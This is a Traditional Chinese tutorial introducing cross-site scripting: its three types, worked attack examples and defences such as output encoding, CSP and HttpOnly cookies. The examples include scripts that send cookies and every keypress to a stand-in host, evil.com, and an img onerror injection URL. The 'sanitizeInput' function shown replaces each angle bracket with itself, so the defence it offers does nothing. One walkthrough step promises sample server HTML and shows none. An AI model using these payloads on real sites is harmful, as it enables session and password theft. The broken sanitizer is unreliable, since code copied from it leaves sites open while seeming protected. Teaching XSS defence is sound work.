跨站指令碼攻擊(XSS)入門指南:從原理到防禦的全解析

更新日期: 2025 年 2 月 3 日

想像一下:你點開一個看似正常的網頁連結,下一秒卻發現自己的社群帳號被盜、銀行頁面被篡改,甚至電腦成了駭客的挖礦工具——這就是 跨站指令碼攻擊(XSS) 的恐怖之處。

作為最常見的網站安全漏洞之一,XSS 在 OWASP 十大資安風險中常年上榜。

無論你是網站開發者、初學工程師,還是單純想保護自己的網路使用者,理解 XSS 的原理與防禦方法都至關重要。

本文將以 零基礎視角 拆解 XSS 的運作機制,並透過實際案例與防禦策略,帶你建立完整的安全觀念。


什麼是跨站指令碼攻擊(XSS)?

XSS(Cross-Site Scripting) 是攻擊者將惡意程式碼(如 JavaScript)注入網頁,當其他用戶瀏覽該頁面時,惡意腳本會在受害者瀏覽器中自動執行的一種攻擊手法。

以生活情境假設,你走進一家餐廳(正常網站),但攻擊者偷偷在食物中下毒(注入惡意程式碼)。

當你吃下食物(載入網頁),毒素(惡意腳本)便開始破壞你的身體(竊取資料或操控瀏覽器)。

XSS 的三大危害

  1. 竊取敏感資訊:盜取 Cookie、Session ID、帳號密碼。
  2. 操控網頁內容:篡改頁面顯示、插入釣魚表單。
  3. 進階攻擊跳板:結合其他漏洞發動 DDoS、勒索軟體攻擊。

XSS 攻擊的三大類型與運作原理

儲存型 XSS(Stored XSS)

攻擊流程

  1. 攻擊者將惡意腳本「永久儲存」在目標網站(如留言板、用戶資料欄位)。
  2. 其他用戶瀏覽該頁面時,惡意腳本從伺服器載入並自動執行。

實際案例:留言板的陷阱

<!-- 攻擊者在留言中嵌入惡意程式碼 -->
留言內容:
<script>  
  fetch('https://evil.com/steal?cookie=' + document.cookie);  
</script>


所有查看此留言的用戶,其 Cookie 都會被傳送到攻擊者的伺服器!

反射型 XSS(Reflected XSS)

反射型 XSS(Reflected XSS) 中,「反射」 指的是伺服器將攻擊者構造的惡意輸入(如帶有 JavaScript 的 URL 參數)直接回應 給用戶,而沒有進行適當的過濾或轉義。

攻擊流程

  1. 攻擊者構造惡意 URL
    • 這個 URL 可能包含惡意的 JavaScript 代碼,例如:
https://example.com/search?q=<script>alert('XSS')</script>
  1. 用戶點擊 URL
    • 通常是通過釣魚郵件、社交工程等手段誘導受害者點擊該鏈接。
  2. 伺服器「反射」惡意內容
    • 如果網站的搜尋功能直接將 q 參數的值顯示在網頁上,並且沒有適當地過濾或編碼,則伺服器會返回類似這樣的 HTML:
    • 這樣,當用戶的瀏覽器解析這個頁面時,<script> 代碼會執行,導致 XSS 攻擊。

實際案例:偽造的搜尋連結

https://example.com/search?keyword=<script>alert('XSS');</script>


若網站未過濾輸入,點擊此連結會彈出警示視窗,實際攻擊可能更隱蔽。

DOM 型 XSS(DOM-based XSS)

攻擊流程

  1. 攻擊者利用前端 JavaScript 操作 DOM 的漏洞,直接修改網頁結構。
  2. 惡意腳本不經過伺服器,完全在客戶端執行。

實際案例:動態載入的網址參數

假設網頁使用以下程式碼:

// 從 URL 參數讀取內容並顯示
const username = new URL(location.href).searchParams.get('user');
document.getElementById('greeting').innerHTML = `Hello, ${username}!`;


攻擊者構造連結:

https://example.com/?user=<img src=x onerror="stealCookie()">


當用戶點擊時,onerror 事件觸發惡意函式!

這段網址之所以有效,是因為 DOM 型 XSS(DOM-based XSS) 的攻擊方式是 直接在瀏覽器端操作 DOM,而這段程式碼恰好存在 未經過濾的 DOM 操作漏洞

詳細解析攻擊流程

  1. 攻擊者構造惡意 URL
    • user 參數被注入一段惡意 HTML 代碼:
https://example.com/?user=<img src=x onerror="stealCookie()">
  1. 其中 <img> 標籤是一個 HTML 元素,而 onerror="stealCookie()" 是一個 事件監聽屬性,當圖片載入失敗時,stealCookie() 會執行。
  2. 網頁程式碼的問題
    • 這段 JavaScript 直接將 user 參數的值 插入到 innerHTML,導致攻擊者提供的惡意 HTML 代碼會被當作真正的 DOM 內容解析和執行。
const username = new URL(location.href).searchParams.get('user');
document.getElementById('greeting').innerHTML = `Hello, ${username}!`;
  1. 攻擊成功的關鍵
    • innerHTML 會將這段內容當作 HTML 解析,因此 <img> 標籤會被加入到頁面中。
    • src="x" 是一個不存在的圖片,因此瀏覽器會觸發 onerror 事件,執行 stealCookie(),攻擊者就可以竊取用戶的 Cookie 或執行其他惡意行為。
    • 當用戶打開這個網址時,JavaScript 會從 URL 參數獲取 user 的值,並執行:
Hello, <img src=x onerror="stealCookie()">

XSS 攻擊的實際演練

情境模擬:竊取用戶 Cookie

  1. 攻擊者在論壇貼文中插入以下程式碼:
<script>
  const img = new Image();
  img.src = 'https://evil.com/log?cookie=' + document.cookie;
</script>
  1. 用戶瀏覽貼文時,腳本自動將 Cookie 傳送到 evil.com
  2. 攻擊者用竊取的 Cookie 偽裝成用戶登入!

進階攻擊:鍵盤側錄(Keylogger)

document.addEventListener('keypress', (e) => {
  fetch('https://evil.com/log?key=' + e.key);
});


此腳本會將用戶的每次按鍵即時傳送到攻擊者伺服器,竊取帳號密碼。


如何防禦 XSS 攻擊?

輸入過濾:阻擋惡意內容進入

  • 原則:將所有用戶輸入視為不可信,進行嚴格過濾。
  • 實作方法
  // 移除 HTML 標籤與特殊字元
  function sanitizeInput(input) {
    return input.replace(/</g, '<').replace(/>/g, '>');
  }

輸出編碼:安全渲染內容

  • 原則:根據輸出位置(HTML、JavaScript、URL)選擇對應編碼方式。
  • 實作範例
  <!-- 使用 HTML 實體編碼 -->
  <div><%= encodeHTML(userInput) %></div>

啟用 CSP(內容安全政策)

  • 原理:透過 HTTP Header 限制腳本來源,阻止未授權程式碼執行。
  • 設定範例
  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;


此政策只允許來自本站和 trusted-cdn.com 的腳本執行。

其他關鍵防禦措施

方法作用
HttpOnly Cookie禁止 JavaScript 讀取 Cookie,防止竊取 Session ID。
使用現代框架React/Vue/Angular 等框架自動處理編碼,降低 XSS 風險。
定期安全測試使用工具(如 OWASP ZAP、XSS Scanner)檢測漏洞。

總結:XSS 防禦的黃金守則

XSS 的核心問題在於「信任了不該信任的輸入」。

要打造安全的網站,請遵循以下原則:

  1. 永不信任用戶輸入:過濾、編碼、驗證三者缺一不可。
  2. 最小化攻擊面:禁用 innerHTML、謹慎使用 eval() 等危險函式。
  3. 多層次防護:結合 CSP、HttpOnly、框架安全機制形成防禦網。

資安是一場持續的攻防戰,唯有保持警惕與持續學習,才能讓你的網站遠離 XSS 威脅!

Similar Posts